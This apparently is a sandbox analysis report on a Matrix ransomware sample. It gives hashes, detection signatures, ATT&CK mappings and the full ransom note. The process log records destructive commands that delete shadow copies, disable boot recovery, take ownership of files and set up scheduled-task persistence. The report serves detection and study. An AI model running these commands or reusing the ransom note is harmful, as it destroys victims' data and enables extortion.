Overview

overview

10

Static

static

3

3eff2f818a...63.exe

windows7-x64

10

3eff2f818a...63.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    300s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    01-09-2023 05:14

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63.exe

  • Size

    3.8MB

  • MD5

    ac42a9b2338847bb398152b1bf6401fd

  • SHA1

    02daf9ff6773da4d134c94fdb7630af2cc01e399

  • SHA256

    3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63

  • SHA512

    016c848cf8c2ffc1343d9242eaae19e9d41488f752282787f4f62cb841c121583f7673b21ddd7b624f39ef775c167fd2733eba495c84ebdf20103f09400e0ac1

  • SSDEEP

    49152:PXlOslYQt+5oXlabPyyNHb/GMO6d+5M+HKo:PEUYQtXQFC6s5M+HH

Score
10/10
matrixdiscoveryevasionpersistenceransomwarespywarestealerupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Extracted

Path

C:\Program Files\Google\Chrome\Application\#ANN_README#.rtf

Ransom Note
{\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected]\par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 5608539DF6D88553\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cUPmiEDYswzWC3ZmbtybDJeUNHqSpERL1\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 5608539DF6D88553\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 1cfOzup7\cf0\f1\fs32\lang1049\par \par }
Emails
URLs

https://bitmsg.me

https://bitmsg.me/users/sign_up

https://bitmsg.me/users/sign_in

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops desktop.ini file(s) 40 IoCs
  • Enumerates connected drives 3 TTPs 44 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63.exe
    "C:\Users\Admin\AppData\Local\Temp\3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63.exe"
    1⤵
    • Matrix Ransomware
    • Loads dropped DLL
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:2480
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63.exe" "C:\Users\Admin\AppData\Local\Temp\NW0K8i8z.exe"
      2⤵
        PID:2124
      • C:\Users\Admin\AppData\Local\Temp\NW0K8i8z.exe
        "C:\Users\Admin\AppData\Local\Temp\NW0K8i8z.exe" -n
        2⤵
        • Executes dropped EXE
        PID:3068
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\G2QMME20.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2496
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1932
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\IJgd5MGr.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1680
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\IJgd5MGr.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:1664
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:932
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:1516
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\FhBM387x.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1928
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\FhBM387x.vbs"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1164
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\cBHaOIiq.bat" /sc minute /mo 5 /RL HIGHEST /F
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4052
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\cBHaOIiq.bat" /sc minute /mo 5 /RL HIGHEST /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:2420
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                4⤵
                  PID:3424
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /Run /I /tn DSHCA
                    5⤵
                      PID:476
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ""C:\Users\Admin\AppData\Local\Temp\vLqR7Zgy.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf""
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:528
                • C:\Windows\SysWOW64\attrib.exe
                  attrib -R -A -S "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf"
                  3⤵
                  • Views/modifies file attributes
                  PID:3036
                • C:\Windows\SysWOW64\cacls.exe
                  cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf" /E /G Admin:F /C
                  3⤵
                    PID:2932
                  • C:\Windows\SysWOW64\takeown.exe
                    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf"
                    3⤵
                    • Modifies file permissions
                    PID:3520
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c IOtPzdjO.exe -accepteula "ENUtxt.pdf" -nobanner
                    3⤵
                    • Loads dropped DLL
                    PID:1044
                    • C:\Users\Admin\AppData\Local\Temp\IOtPzdjO.exe
                      IOtPzdjO.exe -accepteula "ENUtxt.pdf" -nobanner
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:1360
                      • C:\Users\Admin\AppData\Local\Temp\IOtPzdjO64.exe
                        IOtPzdjO.exe -accepteula "ENUtxt.pdf" -nobanner
                        5⤵
                        • Drops file in Drivers directory
                        • Sets service image path in registry
                        • Executes dropped EXE
                        • Enumerates connected drives
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious behavior: LoadsDriver
                        • Suspicious use of AdjustPrivilegeToken
                        PID:772
              • C:\Windows\system32\taskeng.exe
                taskeng.exe {A3F7BDEC-68D6-46C3-B179-1D19F71258F1} S-1-5-21-686452656-3203474025-4140627569-1000:UUVOHKNL\Admin:Interactive:[1]
                1⤵
                  PID:3652
                  • C:\Windows\SYSTEM32\cmd.exe
                    C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\cBHaOIiq.bat"
                    2⤵
                      PID:592
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin Delete Shadows /All /Quiet
                        3⤵
                        • Interacts with shadow copies
                        PID:2528
                      • C:\Windows\System32\Wbem\WMIC.exe
                        wmic SHADOWCOPY DELETE
                        3⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2024
                      • C:\Windows\system32\bcdedit.exe
                        bcdedit /set {default} recoveryenabled No
                        3⤵
                        • Modifies boot configuration data using bcdedit
                        PID:3660
                      • C:\Windows\system32\bcdedit.exe
                        bcdedit /set {default} bootstatuspolicy ignoreallfailures
                        3⤵
                        • Modifies boot configuration data using bcdedit
                        PID:3772
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN DSHCA /F
                        3⤵
                          PID:4036
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3784

                    Network

                    MITRE ATT&CK Enterprise v15

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Scheduled Task/Job

                    1
                    T1053

                    Persistence

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    Registry Run Keys / Startup Folder

                    1
                    T1547.001

                    Scheduled Task/Job

                    1
                    T1053

                    Privilege Escalation

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    Registry Run Keys / Startup Folder

                    1
                    T1547.001

                    Scheduled Task/Job

                    1
                    T1053

                    Defense Evasion

                    File and Directory Permissions Modification

                    1
                    T1222

                    Hide Artifacts

                    1
                    T1564

                    Hidden Files and Directories

                    1
                    T1564.001

                    Indicator Removal

                    2
                    T1070

                    File Deletion

                    2
                    T1070.004

                    Modify Registry

                    2
                    T1112

                    Credential Access

                    Unsecured Credentials

                    1
                    T1552

                    Credentials In Files

                    1
                    T1552.001

                    Discovery

                    Peripheral Device Discovery

                    1
                    T1120

                    Query Registry

                    2
                    T1012

                    System Information Discovery

                    2
                    T1082

                    Lateral Movement

                    Collection

                    Data from Local System

                    1
                    T1005

                    Command and Control

                    Exfiltration

                    Impact

                    Defacement

                    1
                    T1491

                    Inhibit System Recovery

                    3
                    T1490

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Program Files\Google\Chrome\Application\#ANN_README#.rtf
                      Filesize

                      8KB

                      MD5

                      a6384e8afff606dc3865f7cbfc2d1a6a

                      SHA1

                      63bb22bc3dc671e495c6359a4a4b66bf87653804

                      SHA256

                      6ca71f582e1be8b862cbdfcf1aa75e3dcbd81f928ce548a3e6071b871240eaf3

                      SHA512

                      d6e3e66a6e01cd37c8f131e257a6d3d7792ac9a25b09a8503858cbc3374a39d36eee4ce2556c8e6849c4e88012a70a1731b4469a522af5bdd8288a3801ca7f81

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\G2QMME20.txt
                      Filesize

                      14B

                      MD5

                      8eb51985066cb0782077f624013d47a2

                      SHA1

                      0549d07d51454e73b937946ba1887cacfce71835

                      SHA256

                      5537d10911f09132033b185344f75ea1a0ed7e5509b3be00bd8bc93d477baa44

                      SHA512

                      539a7160bb41366a74d8859b080724f5838132428f672c2bba7ef9c9a259823f15074adec75567bea6724f09d681c04b8763a2f495eff3436ff17420cb7bf0f5

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\IOtPzdjO.exe
                      Filesize

                      181KB

                      MD5

                      2f5b509929165fc13ceab9393c3b911d

                      SHA1

                      b016316132a6a277c5d8a4d7f3d6e2c769984052

                      SHA256

                      0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                      SHA512

                      c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\IOtPzdjO.exe
                      Filesize

                      181KB

                      MD5

                      2f5b509929165fc13ceab9393c3b911d

                      SHA1

                      b016316132a6a277c5d8a4d7f3d6e2c769984052

                      SHA256

                      0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                      SHA512

                      c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\IOtPzdjO64.exe
                      Filesize

                      221KB

                      MD5

                      3026bc2448763d5a9862d864b97288ff

                      SHA1

                      7d93a18713ece2e7b93e453739ffd7ad0c646e9e

                      SHA256

                      7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

                      SHA512

                      d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\NW0K8i8z.exe
                      Filesize

                      3.8MB

                      MD5

                      ac42a9b2338847bb398152b1bf6401fd

                      SHA1

                      02daf9ff6773da4d134c94fdb7630af2cc01e399

                      SHA256

                      3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63

                      SHA512

                      016c848cf8c2ffc1343d9242eaae19e9d41488f752282787f4f62cb841c121583f7673b21ddd7b624f39ef775c167fd2733eba495c84ebdf20103f09400e0ac1

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\NW0K8i8z.exe
                      Filesize

                      3.8MB

                      MD5

                      ac42a9b2338847bb398152b1bf6401fd

                      SHA1

                      02daf9ff6773da4d134c94fdb7630af2cc01e399

                      SHA256

                      3eff2f818a0dac4bd17d8da95962be78bca0b466e4325d2c2fd718ec54668f63

                      SHA512

                      016c848cf8c2ffc1343d9242eaae19e9d41488f752282787f4f62cb841c121583f7673b21ddd7b624f39ef775c167fd2733eba495c84ebdf20103f09400e0ac1

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\elog_5608539DF6D88553.txt
                      Filesize

                      30KB

                      MD5

                      c2788b344a6f02791259e8808ffd06db

                      SHA1

                      e7dfaff36d26767ac4e79ac3895c7c1afeabec0b

                      SHA256

                      1b831eda26eed6118b79ab3695cd5e6d3fbcb98b05bcf5374ec04da6ea040384

                      SHA512

                      0f03360cbe6560077d4f443582e161ae042927e5c0a6a7276c9ea0a7e19fb5d78262f7691b9e260e413ec455578bfcad727d2c48b919a6e18d9f2e62e89bee2d

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\vLqR7Zgy.bat
                      Filesize

                      246B

                      MD5

                      0eedd651ff6127539a01cef9eaf211dc

                      SHA1

                      b377ef41276cba00415efd1b00a4158fb3d40996

                      SHA256

                      437eeceaa4d8e8fad425e1aa111f1d3277a9817f9796f387a4f35290bba59e5a

                      SHA512

                      2718577b5c304f49d0d17a108fa86b1379c76a0ea8093995995609e391f84951f6429895846f5b7e349cfdb40f021e6e047d15b045d869b375f966af1a993350

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\vLqR7Zgy.bat
                      Filesize

                      246B

                      MD5

                      0eedd651ff6127539a01cef9eaf211dc

                      SHA1

                      b377ef41276cba00415efd1b00a4158fb3d40996

                      SHA256

                      437eeceaa4d8e8fad425e1aa111f1d3277a9817f9796f387a4f35290bba59e5a

                      SHA512

                      2718577b5c304f49d0d17a108fa86b1379c76a0ea8093995995609e391f84951f6429895846f5b7e349cfdb40f021e6e047d15b045d869b375f966af1a993350

                      Download Submit

                    • C:\Users\Admin\AppData\Roaming\FhBM387x.vbs
                      Filesize

                      260B

                      MD5

                      c4dca02fd75eed5e39d879484388b5ec

                      SHA1

                      02ac0ea977b49fc78893a2ef7a6ab4433169324f

                      SHA256

                      5269279b2e5e3ad3849d846727a5b7975b33fc091f68cc94ff28002c664e3ea9

                      SHA512

                      dd71a945adad63d0de7672607ec9ce079eb35ed8fc7ad9a218734a622be4b703a421889c76c4543ca520a2e99441aded5f69915a51456278574a186073fc16c4

                      Download Submit

                    • C:\Users\Admin\AppData\Roaming\cBHaOIiq.bat
                      Filesize

                      265B

                      MD5

                      5547c2a502b54a4b6d48602ddb130070

                      SHA1

                      b9f23080777e736e0113b43f0b79509107e8e3d7

                      SHA256

                      8bb90db53b3c745cda3f27de97795bbb835062bce2f4692861cedad9e9a18ce6

                      SHA512

                      090106e07e3c972d31a15c60ed30593f5910c5ace716f2793e47f8391b9d499ed00e960a2e3ccdd95afec368f5a75da8d7d650bca6ab543cabf3394462f1ef43

                      Download Submit

                    • \Users\Admin\AppData\Local\Temp\IOtPzdjO.exe
                      Filesize

                      181KB

                      MD5

                      2f5b509929165fc13ceab9393c3b911d

                      SHA1

                      b016316132a6a277c5d8a4d7f3d6e2c769984052

                      SHA256

                      0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                      SHA512

                      c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

                      Download Submit

                    • \Users\Admin\AppData\Local\Temp\IOtPzdjO64.exe
                      Filesize

                      221KB

                      MD5

                      3026bc2448763d5a9862d864b97288ff

                      SHA1

                      7d93a18713ece2e7b93e453739ffd7ad0c646e9e

                      SHA256

                      7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

                      SHA512

                      d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

                      Download Submit

